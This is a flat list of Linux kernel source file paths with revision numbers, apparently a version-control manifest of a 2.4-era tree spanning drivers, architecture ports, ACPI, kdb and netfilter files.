linux/drivers/scsi/BusLogic.c - 1.20 linux/drivers/scsi/AM53C974.h - 1.5 linux/drivers/scsi/AM53C974.c - 1.16 linux/drivers/scsi/53c7xx.c - 1.20 linux/drivers/scsi/53c7,8xx.h - 1.6 linux/drivers/scsi/53c7,8xx.c - 1.22 linux/drivers/sbus/char/bpp.c - 1.21 linux/drivers/sbus/char/Config.in - 1.11 linux/drivers/pnp/Makefile - 1.16 linux/drivers/pnp/Config.in - 1.10 linux/drivers/net/znet.c - 1.11 linux/drivers/net/smc9194.c - 1.21 linux/drivers/net/pcnet32.c - 1.37 linux/drivers/net/irda/Config.in - 1.17 linux/drivers/net/hamradio/soundmodem/Makefile - 1.9 linux/drivers/net/hamradio/baycom_epp.c - 1.23 linux/drivers/net/hamradio/Config.in - 1.9 linux/drivers/net/ewrk3.c - 1.25 linux/drivers/net/eepro100.c - 1.52 linux/drivers/net/depca.c - 1.22 linux/drivers/net/de620.c - 1.16 linux/drivers/net/Space.c - 1.37 linux/drivers/net/Config.in - 1.67 linux/drivers/net/3c59x.c - 1.40 linux/drivers/net/3c515.c - 1.24 linux/drivers/net/3c509.c - 1.36 linux/drivers/macintosh/adb.c - 1.19 linux/drivers/isdn/sc/Makefile - 1.7 linux/drivers/isdn/pcbit/Makefile - 1.7 linux/drivers/isdn/isdnloop/isdnloop.c - 1.16 linux/drivers/isdn/isdnloop/Makefile - 1.6 linux/drivers/isdn/icn/icn.c - 1.20 linux/drivers/isdn/icn/Makefile - 1.7 linux/drivers/isdn/hisax/teles3.c - 1.16 linux/drivers/isdn/hisax/teles0.c - 1.14 linux/drivers/isdn/hisax/teleint.c - 1.13 linux/drivers/isdn/hisax/sportster.c - 1.13 linux/drivers/isdn/hisax/sedlbauer.c - 1.20 linux/drivers/isdn/hisax/niccy.c - 1.18 linux/drivers/isdn/hisax/netjet.c - 1.23 linux/drivers/isdn/hisax/mic.c - 1.12 linux/drivers/isdn/hisax/l3dss1.c - 1.16 linux/drivers/isdn/hisax/ix1_micro.c - 1.13 linux/drivers/isdn/hisax/isdnl2.c - 1.15 linux/drivers/isdn/hisax/isdnl1.c - 1.18 linux/drivers/isdn/hisax/isac.c - 1.15 linux/drivers/isdn/hisax/hscx.c - 1.14 linux/drivers/isdn/hisax/hisax.h - 1.31 linux/drivers/isdn/hisax/hfc_2bs0.c - 1.17 linux/drivers/isdn/hisax/hfc_2bds0.c - 1.17 linux/drivers/isdn/hisax/elsa.c - 1.21 linux/drivers/isdn/hisax/diva.c - 1.17 linux/drivers/isdn/hisax/config.c - 1.33 linux/drivers/isdn/hisax/callc.c - 1.19 linux/drivers/isdn/hisax/avm_a1.c - 1.13 linux/drivers/isdn/hisax/asuscom.c - 1.16 linux/drivers/isdn/hisax/amd7930.c - 1.14 linux/drivers/isdn/hisax/Makefile - 1.23 linux/drivers/isdn/act2000/Makefile - 1.8 linux/drivers/isdn/Makefile - 1.16 linux/drivers/isdn/Config.in - 1.28 linux/drivers/fc4/fcp_impl.h - 1.5 linux/drivers/fc4/fc_syms.c - 1.3 linux/drivers/fc4/fc.c - 1.12 linux/drivers/fc4/Config.in - 1.6 linux/drivers/char/tpqic02.c - 1.23 linux/drivers/char/stallion.c - 1.24 linux/drivers/char/specialix.c - 1.16 linux/drivers/char/random.c - 1.34 linux/drivers/char/istallion.c - 1.24 linux/drivers/char/ftape/Config.in - 1.7 linux/drivers/char/Makefile - 1.77 linux/drivers/char/Config.in - 1.69 linux/drivers/cdrom/sjcd.c - 1.26 linux/drivers/cdrom/optcd.c - 1.27 linux/drivers/cdrom/mcd.c - 1.27 linux/drivers/cdrom/gscd.c - 1.27 linux/drivers/cdrom/cm206.c - 1.28 linux/drivers/cdrom/aztcd.c - 1.29 linux/drivers/cdrom/Config.in - 1.6 linux/drivers/block/z2ram.c - 1.23 linux/drivers/block/xd.h - 1.12 linux/drivers/block/xd.c - 1.50 linux/drivers/block/swim3.c - 1.25 linux/drivers/block/rd.c - 1.66 linux/drivers/block/ps2esdi.c - 1.52 linux/drivers/block/paride/Config.in - 1.7 linux/drivers/block/loop.c - 1.73 linux/drivers/block/ll_rw_blk.c - 1.121 linux/drivers/block/genhd.c - 1.40 linux/drivers/block/floppy.c - 1.57 linux/drivers/block/ataflop.c - 1.32 linux/drivers/block/amiflop.c - 1.33 linux/drivers/block/acsi.c - 1.42 linux/drivers/block/Config.in - 1.42 linux/drivers/acorn/scsi/powertec.c - 1.17 linux/drivers/acorn/scsi/eesox.c - 1.17 linux/drivers/acorn/scsi/cumana_2.c - 1.17 linux/drivers/acorn/scsi/cumana_1.c - 1.12 linux/drivers/acorn/scsi/acornscsi.c - 1.21 linux/drivers/acorn/scsi/Config.in - 1.6 linux/drivers/acorn/net/Config.in - 1.5 linux/drivers/acorn/block/mfmhd.c - 1.35 linux/drivers/acorn/block/fd1772.c - 1.26 linux/drivers/acorn/block/Config.in - 1.4 linux/arch/sparc64/prom/Makefile - 1.12 linux/arch/sparc64/kernel/ioctl32.c - 1.60 linux/arch/sparc64/defconfig - 1.83 linux/arch/sparc64/config.in - 1.64 linux/arch/sparc/mm/viking.S - 1.9 linux/arch/sparc/mm/tsunami.S - 1.10 linux/arch/sparc/mm/hypersparc.S - 1.8 linux/arch/sparc/kernel/sclow.S - 1.5 linux/arch/sparc/kernel/pcic.c - 1.25 linux/arch/sparc/config.in - 1.47 linux/arch/sparc/boot/btfixupprep.c - 1.4 linux/arch/ppc/config.in - 1.62 linux/arch/mips/config.in - 1.37 linux/arch/m68k/config.in - 1.35 linux/arch/i386/mm/ioremap.c - 1.19 linux/arch/i386/mm/init.c - 1.46 linux/arch/i386/mm/fault.c - 1.29 linux/arch/i386/lib/usercopy.c - 1.8 linux/arch/i386/kernel/traps.c - 1.65 linux/arch/i386/kernel/setup.c - 1.85 linux/arch/i386/kernel/ptrace.c - 1.24 linux/arch/i386/kernel/process.c - 1.59 linux/arch/i386/kernel/mca.c - 1.16 linux/arch/i386/kernel/irq.c - 1.51 linux/arch/i386/kernel/io_apic.c - 1.48 linux/arch/i386/kernel/i386_ksyms.c - 1.61 linux/arch/i386/kernel/entry.S - 1.66 linux/arch/i386/kernel/apm.c - 1.54 linux/arch/i386/defconfig - 1.116 linux/arch/i386/boot/setup.S - 1.30 linux/arch/i386/boot/Makefile - 1.19 linux/arch/i386/Makefile - 1.38 linux/arch/arm/config.in - 1.48 linux/arch/alpha/config.in - 1.54 linux/Rules.make - 1.35 linux/Makefile - 1.228 linux/MAINTAINERS - 1.124 linux/Documentation/networking/ip-sysctl.txt - 1.15 linux/Documentation/ioctl-number.txt - 1.20 linux/Documentation/devices.txt - 1.13 linux/Documentation/Changes - 1.59 linux/Documentation/00-INDEX - 1.14 linux/CREDITS - 1.91 linux/net/decnet/dn_route.c - 1.23 linux/net/decnet/Makefile - 1.9 linux/net/decnet/Config.in - 1.8 linux/include/linux/ide.h - 1.69 linux/drivers/isdn/hisax/s0box.c - 1.10 linux/drivers/isdn/hisax/isar.c - 1.20 linux/drivers/isdn/hisax/elsa_ser.c - 1.12 linux/drivers/isdn/hisax/avm_pci.c - 1.17 linux/drivers/isdn/hisax/avm_a1p.c - 1.10 linux/drivers/isdn/eicon/Makefile - 1.8 linux/drivers/acorn/scsi/arxescsi.h - 1.5 linux/drivers/acorn/scsi/arxescsi.c - 1.14 linux/arch/i386/vmlinux.lds.S - 1.11 linux/drivers/sgi/Config.in - 1.6 linux/drivers/char/dz.c - 1.18 linux/drivers/misc/Config.in - 1.8 linux/drivers/block/cpqarray.c - 1.62 linux/drivers/parport/parport_pc.c - 1.49 linux/drivers/parport/Config.in - 1.16 linux/drivers/char/raw.c - 1.32 linux/fs/partitions/check.c - 1.58 linux/fs/partitions/Config.in - 1.21 linux/drivers/video/vga.h - 1.6 linux/drivers/isdn/hisax/saphir.c - 1.11 linux/drivers/isdn/hisax/jade_irq.c - 1.8 linux/drivers/isdn/hisax/jade.c - 1.12 linux/drivers/isdn/hisax/isurf.c - 1.13 linux/drivers/isdn/hisax/hfcscard.c - 1.11 linux/drivers/isdn/hisax/hfc_pci.c - 1.26 linux/drivers/isdn/hisax/gazel.c - 1.15 linux/drivers/isdn/hisax/bkm_a8.c - 1.14 linux/drivers/isdn/hisax/bkm_a4t.c - 1.14 linux/drivers/isdn/divert/Makefile - 1.6 linux/Documentation/fb/clgenfb.txt - 1.6 linux/drivers/net/sis900.c - 1.37 linux/drivers/net/fc/iph5526.c - 1.21 linux/drivers/char/ip2main.c - 1.21 linux/drivers/char/ip2/i2lib.c - 1.9 linux/drivers/atm/zatm.c - 1.16 linux/drivers/atm/Makefile - 1.22 linux/drivers/atm/Config.in - 1.13 linux/net/core/netfilter.c - 1.17 linux/include/linux/netfilter_ipv4.h - 1.8 linux/include/linux/netfilter.h - 1.10 linux/drivers/block/DAC960.c - 1.61 linux/arch/sh/mm/fault.c - 1.22 linux/arch/sh/config.in - 1.29 linux/drivers/scsi/ips.h - 1.18 linux/drivers/scsi/ips.c - 1.32 linux/include/asm-i386/kmap_types.h - 1.12 linux/drivers/pcmcia/rsrc_mgr.c - 1.16 linux/drivers/pcmcia/Config.in - 1.15 linux/drivers/block/swim_iop.c - 1.20 linux/drivers/net/pcmcia/Config.in - 1.28 linux/drivers/net/pcmcia/3c589_cs.c - 1.22 linux/include/linux/acpi.h - 1.31 linux/drivers/net/wan/cycx_main.c - 1.14 linux/drivers/net/wan/Config.in - 1.19 linux/drivers/net/tokenring/Config.in - 1.11 linux/arch/ppc/8xx_io/Config.in - 1.8 linux/drivers/net/wan/sdla.c - 1.14 linux/drivers/scsi/sim710.h - 1.7 linux/drivers/net/pcmcia/fmvj18x_cs.c - 1.18 linux/mm/highmem.c - 1.46 linux/include/linux/highmem.h - 1.27 linux/fs/proc/proc_misc.c - 1.47 linux/fs/proc/kcore.c - 1.14 linux/drivers/char/pcmcia/Config.in - 1.10 linux/drivers/isdn/hisax/w6692.c - 1.15 linux/drivers/scsi/sun3_scsi.h - 1.3 linux/include/linux/mmzone.h - 1.31 linux/drivers/pci/Config.in - 1.2 linux/kernel/timer.c - 1.35 linux/drivers/scsi/scsi_merge.c - 1.43 linux/drivers/scsi/scsi_lib.c - 1.53 linux/drivers/i2c/Config.in - 1.9 linux/drivers/sbus/char/jsflash.c - 1.27 linux/drivers/telephony/Config.in - 1.3 linux/drivers/net/arcnet/Config.in - 1.3 linux/Documentation/usb/URB.txt - 1.6 linux/drivers/net/tokenring/smctr.h - 1.5 linux/drivers/net/tokenring/smctr.c - 1.16 linux/drivers/pnp/quirks.c - 1.11 linux/drivers/ieee1394/ieee1394_types.h - 1.16 linux/drivers/ieee1394/Config.in - 1.9 linux/drivers/scsi/scsi_scan.c - 1.34 linux/drivers/scsi/3w-xxxx.h - 1.14 linux/drivers/scsi/3w-xxxx.c - 1.23 linux/drivers/char/vme_scc.c - 1.11 linux/drivers/atm/iphase.h - 1.3 linux/drivers/atm/iphase.c - 1.16 linux/arch/ia64/kernel/fw-emu.c - 1.10 linux/arch/ia64/kernel/efi.c - 1.19 linux/arch/ia64/kernel/acpi.c - 1.18 linux/arch/ia64/ia32/sys_ia32.c - 1.34 linux/arch/ia64/ia32/ia32_signal.c - 1.10 linux/arch/ia64/hp/Makefile - 1.8 linux/arch/ia64/vmlinux.lds.S - 1.16 linux/arch/ia64/defconfig - 1.23 linux/arch/ia64/config.in - 1.38 linux/arch/ia64/boot/Makefile - 1.8 linux/arch/ia64/Makefile - 1.22 linux/arch/ia64/tools/Makefile - 1.11 linux/arch/ia64/kernel/setup.c - 1.20 linux/arch/ia64/kernel/signal.c - 1.19 linux/arch/ia64/kernel/sys_ia64.c - 1.15 linux/arch/ia64/kernel/time.c - 1.17 linux/arch/ia64/kernel/traps.c - 1.17 linux/arch/ia64/lib/Makefile - 1.16 linux/arch/ia64/kernel/ivt.S - 1.19 linux/arch/ia64/kernel/process.c - 1.21 linux/arch/ia64/kernel/perfmon.c - 1.18 linux/arch/ia64/kernel/mca.c - 1.15 linux/arch/ia64/mm/init.c - 1.22 linux/arch/ia64/mm/Makefile - 1.4 linux/drivers/scsi/qla1280.h - 1.8 linux/drivers/scsi/qla1280.c - 1.22 linux/include/asm-ia64/iosapic.h - 1.7 linux/include/asm-ia64/ia32.h - 1.13 linux/include/asm-ia64/siginfo.h - 1.16 linux/include/linux/raid/md_k.h - 1.29 linux/include/asm-ia64/processor.h - 1.26 linux/include/asm-ia64/page.h - 1.17 linux/drivers/net/8139too.c - 1.45 linux/drivers/isdn/hisax/hfc_sx.c - 1.15 linux/drivers/isdn/hysdn/Makefile - 1.7 linux/fs/devfs/base.c - 1.46 linux/drivers/scsi/pcmcia/Config.in - 1.4 linux/Documentation/LVM-HOWTO - 1.2 linux/net/bridge/br_forward.c - 1.7 linux/include/linux/lvm.h - 1.15 linux/fs/lockd/xdr4.c - 1.11 linux/net/bridge/br_private.h - 1.9 linux/net/bridge/br_input.c - 1.13 linux/Documentation/networking/8139too.txt - 1.19 linux/drivers/net/tulip/tulip_core.c - 1.43 linux/drivers/net/tulip/timer.c - 1.12 linux/drivers/net/tulip/pnic.c - 1.10 linux/drivers/net/tulip/media.c - 1.13 linux/drivers/net/tulip/interrupt.c - 1.17 linux/drivers/net/tulip/eeprom.c - 1.14 linux/drivers/net/tulip/21142.c - 1.14 linux/arch/mips64/config.in - 1.27 linux/drivers/video/riva/riva_tbl.h - 1.4 linux/drivers/video/riva/riva_hw.h - 1.3 linux/drivers/video/riva/riva_hw.c - 1.4 linux/drivers/video/riva/nv4ref.h - 1.2 linux/drivers/net/appletalk/cops.c - 1.14 linux/drivers/net/appletalk/Config.in - 1.6 linux/include/linux/usb.h - 1.49 linux/drivers/usb/serial/usb-serial.c - 1.7 linux/drivers/parport/ChangeLog - 1.29 linux/drivers/ide/ide.c - 1.75 linux/drivers/ide/ide-tape.c - 1.38 linux/drivers/ide/ide-probe.c - 1.45 linux/drivers/ide/ide-floppy.c - 1.39 linux/drivers/ide/ide-disk.c - 1.52 linux/drivers/ide/ide-cd.c - 1.53 linux/drivers/ide/Config.in - 1.36 linux/drivers/block/elevator.c - 1.25 linux/include/linux/elevator.h - 1.15 linux/drivers/net/tokenring/lanstreamer.c - 1.13 linux/net/ipv4/netfilter/ipt_unclean.c - 1.10 linux/net/ipv4/netfilter/ipt_REJECT.c - 1.16 linux/net/ipv4/netfilter/ipt_LOG.c - 1.10 linux/net/ipv4/netfilter/ip_conntrack_standalone.c - 1.17 linux/net/ipv4/netfilter/Makefile - 1.18 linux/net/ipv4/netfilter/Config.in - 1.12 linux/drivers/scsi/dmx3191d.h - 1.5 linux/drivers/scsi/dmx3191d.c - 1.10 linux/fs/ramfs/inode.c - 1.33 linux/drivers/usb/serial/whiteheat_fw.h - 1.5 linux/drivers/usb/serial/keyspan_pda.c - 1.32 linux/drivers/usb/serial/ftdi_sio.c - 1.43 linux/drivers/usb/serial/whiteheat.c - 1.34 linux/drivers/usb/serial/visor.h - 1.12 linux/drivers/usb/serial/visor.c - 1.44 linux/arch/ia64/kernel/smpboot.c - 1.15 linux/drivers/usb/serial/omninet.c - 1.31 linux/arch/ppc/8260_io/Config.in - 1.7 linux/arch/s390/config.in - 1.16 linux/drivers/s390/block/dasd.c - 1.33 linux/drivers/s390/Config.in - 1.11 linux/net/ipv6/netfilter/Config.in - 1.7 linux/fs/xfs/linux/xfs_super.c - 1.242 linux/kdb/kdb_bt.c - 1.14 linux/kdb/kdb_bp.c - 1.13 linux/kdb/Makefile - 1.17 linux/include/linux/kdbprivate.h - 1.21 linux/include/linux/kdb.h - 1.24 linux/kdb/kdbsupport.c - 1.16 linux/kdb/kdbmain.c - 1.36 linux/include/asm-i386/kdb.h - 1.14 linux/kdb/kdb_io.c - 1.16 linux/Documentation/kdb/kdb.mm - 1.15 linux/Documentation/kdb/kdb_bt.man - 1.8 linux/arch/i386/kdb/kdbasupport.c - 1.24 linux/arch/i386/kdb/kdba_io.c - 1.20 linux/arch/i386/kdb/kdba_bt.c - 1.17 linux/arch/i386/kdb/kdba_bp.c - 1.15 linux/drivers/char/i810_rng.c - 1.10 linux/drivers/usb/storage/usb.h - 1.19 linux/drivers/usb/storage/usb.c - 1.32 linux/drivers/usb/storage/transport.h - 1.13 linux/drivers/usb/storage/transport.c - 1.33 linux/drivers/usb/storage/scsiglue.c - 1.27 linux/drivers/char/drm/Config.in - 1.7 linux/drivers/usb/serial/keyspan.c - 1.36 linux/drivers/acpi/tables/tbinstal.c - 1.13 linux/drivers/acpi/tables/tbget.c - 1.14 linux/drivers/acpi/resources/rscreate.c - 1.12 linux/drivers/acpi/resources/rscalc.c - 1.11 linux/drivers/acpi/parser/psopcode.c - 1.14 linux/drivers/acpi/namespace/nsxfobj.c - 1.14 linux/drivers/acpi/namespace/nsutils.c - 1.14 linux/drivers/acpi/namespace/nssearch.c - 1.14 linux/drivers/acpi/namespace/nsobject.c - 1.12 linux/drivers/acpi/namespace/nsalloc.c - 1.11 linux/drivers/acpi/namespace/nsaccess.c - 1.14 linux/drivers/acpi/include/actypes.h - 1.15 linux/drivers/acpi/include/acobject.h - 1.13 linux/drivers/acpi/events/evxfregn.c - 1.11 linux/drivers/acpi/events/evxface.c - 1.13 linux/drivers/acpi/events/evevent.c - 1.16 linux/drivers/acpi/ec.c - 1.12 linux/drivers/acpi/dispatcher/dswstate.c - 1.14 linux/drivers/acpi/dispatcher/dswscope.c - 1.10 linux/drivers/acpi/dispatcher/dswload.c - 1.17 linux/drivers/acpi/dispatcher/dsutils.c - 1.14 linux/drivers/acpi/dispatcher/dsopcode.c - 1.15 linux/arch/ia64/ia32/ia32_ioctl.c - 1.6 linux/drivers/acpi/dispatcher/dsobject.c - 1.18 linux/drivers/acpi/dispatcher/dsmthdat.c - 1.12 linux/drivers/acpi/dispatcher/dsfield.c - 1.12 linux/drivers/mtd/Config.in - 1.11 linux/drivers/mtd/ftl.c - 1.29 linux/drivers/mtd/mtdblock.c - 1.26 linux/drivers/net/ibmlana.c - 1.7 linux/drivers/net/ibmlana.h - 1.3 linux/include/asm-sparc/kmap_types.h - 1.10 linux/drivers/usb/storage/shuttle_usbat.c - 1.14 linux/drivers/media/video/planb.c - 1.12 linux/drivers/media/video/cpia_usb.c - 1.15 linux/drivers/media/video/cpia_pp.c - 1.8 linux/drivers/media/video/cpia.h - 1.7 linux/drivers/media/video/cpia.c - 1.16 linux/drivers/media/video/Config.in - 1.9 linux/drivers/media/radio/Config.in - 1.11 linux/drivers/media/Makefile - 1.6 linux/drivers/media/Config.in - 1.2 linux/drivers/isdn/hisax/nj_u.c - 1.11 linux/drivers/isdn/hisax/nj_s.c - 1.12 linux/drivers/isdn/hisax/l3ni1.c - 1.9 linux/drivers/isdn/hisax/icc.c - 1.9 linux/drivers/input/Config.in - 1.8 linux/drivers/char/i810-tco.c - 1.12 linux/kdb/ChangeLog - 1.21 linux/drivers/md/lvm.c - 1.35 linux/drivers/acpi/include/acconfig.h - 1.19 linux/drivers/acpi/include/acglobal.h - 1.14 linux/drivers/acpi/include/acinterp.h - 1.13 linux/drivers/acpi/include/aclocal.h - 1.16 linux/drivers/acpi/include/acnamesp.h - 1.13 linux/drivers/acpi/namespace/nsdump.c - 1.13 linux/drivers/md/Config.in - 1.4 linux/drivers/md/Makefile - 1.11 linux/drivers/md/linear.c - 1.16 linux/drivers/md/lvm-snap.c - 1.18 linux/drivers/md/md.c - 1.63 linux/drivers/md/raid0.c - 1.15 linux/drivers/scsi/cpqfcTS.h - 1.6 linux/drivers/scsi/cpqfcTScontrol.c - 1.8 linux/drivers/scsi/cpqfcTSinit.c - 1.22 linux/drivers/scsi/cpqfcTSworker.c - 1.12 linux/include/asm-ppc/kmap_types.h - 1.13 linux/drivers/zorro/Config.in - 1.2 linux/mm/oom_kill.c - 1.18 linux/drivers/net/tulip/ChangeLog - 1.16 linux/drivers/usb/serial/belkin_sa.c - 1.25 linux/net/irda/irnet/Config.in - 1.3 linux/include/linux/ethtool.h - 1.13 linux/arch/parisc/kernel/drivers.c - 1.2 linux/arch/parisc/kernel/entry.S - 1.4 linux/include/asm-parisc/led.h - 1.2 linux/include/asm-parisc/atomic.h - 1.2 linux/include/asm-parisc/hardware.h - 1.2 linux/include/asm-parisc/hil.h - 1.2 linux/include/asm-parisc/uaccess.h - 1.2 linux/include/asm-parisc/hardirq.h - 1.2 linux/include/asm-parisc/unaligned.h - 1.2 linux/include/asm-parisc/mman.h - 1.2 linux/Documentation/parisc/IODC.txt - 1.2 linux/include/asm-parisc/mmu.h - 1.3 linux/include/asm-parisc/unistd.h - 1.6 linux/include/asm-parisc/types.h - 1.2 linux/include/asm-parisc/gsc.h - 1.2 linux/include/asm-parisc/mmu_context.h - 1.2 linux/include/asm-parisc/msgbuf.h - 1.2 linux/include/asm-parisc/traps.h - 1.2 linux/include/asm-parisc/page.h - 1.3 linux/drivers/net/lasi_82596.c - 1.12 linux/include/asm-parisc/param.h - 1.2 linux/drivers/usb/serial/mct_u232.c - 1.26 linux/include/asm-parisc/ide.h - 1.7 linux/arch/parisc/tools/offset.c - 1.3 linux/arch/parisc/tools/Makefile - 1.3 linux/arch/parisc/mm/pa20.c - 1.4 linux/arch/parisc/mm/pa11.c - 1.4 linux/arch/parisc/mm/init.c - 1.4 linux/arch/parisc/mm/fault.c - 1.3 linux/arch/parisc/mm/extable.c - 1.2 linux/include/asm-parisc/pci.h - 1.5 linux/include/asm-parisc/pdc.h - 1.2 linux/include/asm-parisc/keyboard.h - 1.3 linux/include/asm-parisc/pgalloc.h - 1.6 linux/include/asm-parisc/pgtable.h - 1.7 linux/arch/parisc/mm/Makefile - 1.3 linux/drivers/usb/serial/empeg.c - 1.31 linux/include/asm-parisc/posix_types.h - 1.2 linux/include/asm-parisc/irq.h - 1.2 linux/arch/parisc/lib/lusercopy.S - 1.2 linux/drivers/usb/serial/Config.in - 1.18 linux/include/asm-parisc/processor.h - 1.7 linux/include/asm-parisc/psw.h - 1.2 linux/arch/parisc/lib/bitops.c - 1.2 linux/arch/parisc/lib/Makefile - 1.4 linux/arch/parisc/kernel/traps.c - 1.4 linux/arch/parisc/kernel/time.c - 1.3 linux/arch/parisc/kernel/syscall.S - 1.3 linux/arch/parisc/kernel/sys_parisc.c - 1.4 linux/arch/parisc/kernel/signal.c - 1.5 linux/arch/parisc/kernel/setup.c - 1.3 linux/arch/parisc/kernel/semaphore.c - 1.3 linux/arch/parisc/kernel/real2.S - 1.2 linux/include/asm-parisc/ipcbuf.h - 1.2 linux/include/asm-parisc/ptrace.h - 1.2 linux/arch/i386/kernel/dmi_scan.c - 1.23 linux/include/asm-parisc/runway.h - 1.2 linux/arch/parisc/kernel/ptrace.c - 1.5 linux/arch/parisc/kernel/process.c - 1.6 linux/arch/parisc/kernel/pdc_cons.c - 1.4 linux/include/asm-parisc/scatterlist.h - 1.4 linux/arch/parisc/kernel/pci.c - 1.3 linux/arch/parisc/kernel/pci-dma.c - 1.4 linux/include/asm-parisc/semaphore.h - 1.5 linux/include/asm-parisc/sembuf.h - 1.2 linux/include/asm-parisc/serial.h - 1.2 linux/include/asm-parisc/shmbuf.h - 1.2 linux/include/asm-parisc/shmparam.h - 1.2 linux/include/asm-parisc/iosapic.h - 1.2 linux/include/asm-parisc/assembly.h - 1.2 linux/arch/parisc/kernel/parisc_ksyms.c - 1.4 linux/include/asm-parisc/bitops.h - 1.2 linux/include/asm-parisc/cache.h - 1.3 linux/include/asm-parisc/checksum.h - 1.3 linux/include/asm-parisc/ioctls.h - 1.5 linux/arch/parisc/kernel/pa7300lc.c - 1.2 linux/include/asm-parisc/current.h - 1.2 linux/include/asm-parisc/delay.h - 1.2 linux/include/asm-parisc/elf.h - 1.2 linux/include/asm-parisc/fcntl.h - 1.2 linux/include/asm-parisc/fixmap.h - 1.2 linux/arch/parisc/kernel/keyboard.c - 1.2 linux/include/asm-parisc/smp.h - 1.2 linux/arch/parisc/kernel/irq.c - 1.4 linux/arch/parisc/kernel/inventory.c - 1.2 linux/arch/parisc/kernel/init_task.c - 1.4 linux/arch/parisc/kernel/hpmc.S - 1.2 linux/arch/parisc/kernel/head.S - 1.2 linux/arch/parisc/kernel/hardware.c - 1.2 linux/include/asm-parisc/io.h - 1.2 linux/arch/parisc/kernel/cache.c - 1.2 linux/arch/parisc/kernel/Makefile - 1.4 linux/arch/parisc/defconfig - 1.8 linux/arch/parisc/config.in - 1.12 linux/arch/parisc/Makefile - 1.8 linux/include/asm-parisc/timex.h - 1.2 linux/include/asm-parisc/termios.h - 1.4 linux/include/asm-parisc/system.h - 1.4 linux/include/asm-parisc/string.h - 1.2 linux/include/asm-parisc/softirq.h - 1.2 linux/include/asm-parisc/spinlock.h - 1.3 linux/include/asm-parisc/stat.h - 1.2 linux/drivers/acpi/tables/tbconvrt.c - 1.11 linux/mm/shmem.c - 1.49 linux/drivers/atm/firestream.c - 1.13 linux/drivers/acpi/power.c - 1.8 linux/arch/ia64/kernel/iosapic.c - 1.13 linux/drivers/acpi/acpi_ksyms.c - 1.13 linux/drivers/acpi/hardware/hwsleep.c - 1.10 linux/arch/cris/config.in - 1.16 linux/arch/cris/drivers/Config.in - 1.9 linux/arch/s390x/config.in - 1.11 linux/drivers/s390/block/xpram.c - 1.29 linux/drivers/net/pci-skeleton.c - 1.14 linux/drivers/md/lvm-internal.h - 1.4 linux/drivers/md/lvm-fs.c - 1.7 linux/include/linux/hdlc.h - 1.5 linux/Documentation/i810_rng.txt - 1.6 linux/drivers/usb/serial/io_edgeport.c - 1.29 linux/drivers/scsi/aic7xxx_old/aic7xxx.h - 1.6 linux/drivers/scsi/aic7xxx_old.c - 1.23 linux/drivers/scsi/aic7xxx/aic7xxx_linux_host.h - 1.8 linux/drivers/scsi/aic7xxx/aic7xxx_linux.c - 1.20 linux/drivers/scsi/aic7xxx/Makefile - 1.9 linux/drivers/scsi/aic7xxx/Config.in - 1.3 linux/drivers/net/wan/n2.c - 1.6 linux/drivers/net/wan/dscc4.c - 1.15 linux/drivers/net/wan/c101.c - 1.6 linux/Documentation/DocBook/tulip-user.tmpl - 1.3 linux/net/wanrouter/af_wanpipe.c - 1.11 linux/include/asm-ia64/perfmon.h - 1.7 linux/drivers/media/video/w9966.c - 1.5 linux/drivers/net/irda/irda-usb.c - 1.25 linux/drivers/net/wireless/Config.in - 1.8 linux/drivers/media/video/adv7175.c - 1.7 linux/include/linux/netfilter_bridge.h - 1.3 linux/drivers/bluetooth/hci_usb.c - 1.16 linux/drivers/bluetooth/Config.in - 1.7 linux/net/bluetooth/Config.in - 1.5 linux/drivers/mtd/nftlcore.c - 1.28 linux/drivers/mtd/nand/Config.in - 1.6 linux/drivers/mtd/mtdblock_ro.c - 1.16 linux/drivers/mtd/maps/Config.in - 1.9 linux/drivers/mtd/devices/Config.in - 1.3 linux/drivers/mtd/chips/Config.in - 1.3 linux/drivers/acpi/executer/exstore.c - 1.12 linux/drivers/acpi/utilities/utobject.c - 1.7 linux/drivers/acpi/utilities/utmisc.c - 1.10 linux/drivers/acpi/utilities/utglobal.c - 1.13 linux/drivers/acpi/utilities/utdelete.c - 1.8 linux/drivers/acpi/utilities/utcopy.c - 1.10 linux/drivers/acpi/Config.in - 1.11 linux/drivers/acpi/include/acstruct.h - 1.7 linux/drivers/acpi/include/acutils.h - 1.11 linux/drivers/acpi/executer/exutils.c - 1.9 linux/drivers/acpi/executer/exstorob.c - 1.7 linux/drivers/acpi/executer/exstoren.c - 1.8 linux/drivers/acpi/executer/exconfig.c - 1.9 linux/drivers/acpi/executer/exconvrt.c - 1.10 linux/drivers/acpi/executer/excreate.c - 1.9 linux/drivers/acpi/executer/exdump.c - 1.12 linux/drivers/acpi/executer/exfldio.c - 1.9 linux/drivers/acpi/executer/exmisc.c - 1.10 linux/drivers/acpi/executer/exmutex.c - 1.5 linux/drivers/acpi/executer/exnames.c - 1.5 linux/drivers/acpi/executer/exprep.c - 1.9 linux/drivers/acpi/executer/exresnte.c - 1.12 linux/drivers/acpi/executer/exresolv.c - 1.10 linux/drivers/acpi/executer/exresop.c - 1.12 linux/drivers/usb/serial/cyberjack.c - 1.20 linux/drivers/usb/serial/pl2303.c - 1.23 linux/Documentation/DocBook/procfs-guide.tmpl - 1.3 linux/drivers/isdn/tpam/Makefile - 1.4 linux/drivers/scsi/pcmcia/nsp_cs.c - 1.11 linux/drivers/scsi/pcmcia/nsp_cs.h - 1.6 linux/drivers/scsi/pcmcia/nsp_debug.c - 1.7 linux/drivers/scsi/pcmcia/nsp_io.h - 1.6 linux/drivers/char/sonypi.h - 1.10 linux/drivers/usb/usb-skeleton.c - 1.17 linux/include/linux/sonypi.h - 1.5 linux/drivers/char/sonypi.c - 1.9 linux/drivers/net/dl2k.c - 1.17 linux/drivers/message/fusion/mptscsih.h - 1.8 linux/drivers/message/fusion/mptscsih.c - 1.12 linux/drivers/message/fusion/mptlan.h - 1.6 linux/drivers/message/fusion/Config.in - 1.5 linux/drivers/ieee1394/sbp2.c - 1.15 linux/drivers/scsi/pcmcia/nsp_message.c - 1.4 linux/drivers/net/wan/farsync.c - 1.10 linux/drivers/scsi/dpti.h - 1.5 linux/drivers/scsi/dpt_i2o.c - 1.16 linux/drivers/isdn/hisax/st5481_b.c - 1.6 linux/drivers/isdn/hisax/st5481_d.c - 1.8 linux/drivers/isdn/hisax/st5481_usb.c - 1.11 linux/drivers/md/multipath.c - 1.16 linux/arch/i386/kernel/nmi.c - 1.10 linux/include/asm-ia64/tlb.h - 1.7 linux/drivers/mtd/devices/blkmtd.c - 1.16 linux/drivers/usb/serial/ir-usb.c - 1.22 linux/drivers/message/i2o/Config.in - 1.2 linux/drivers/message/i2o/i2o_scsi.h - 1.5 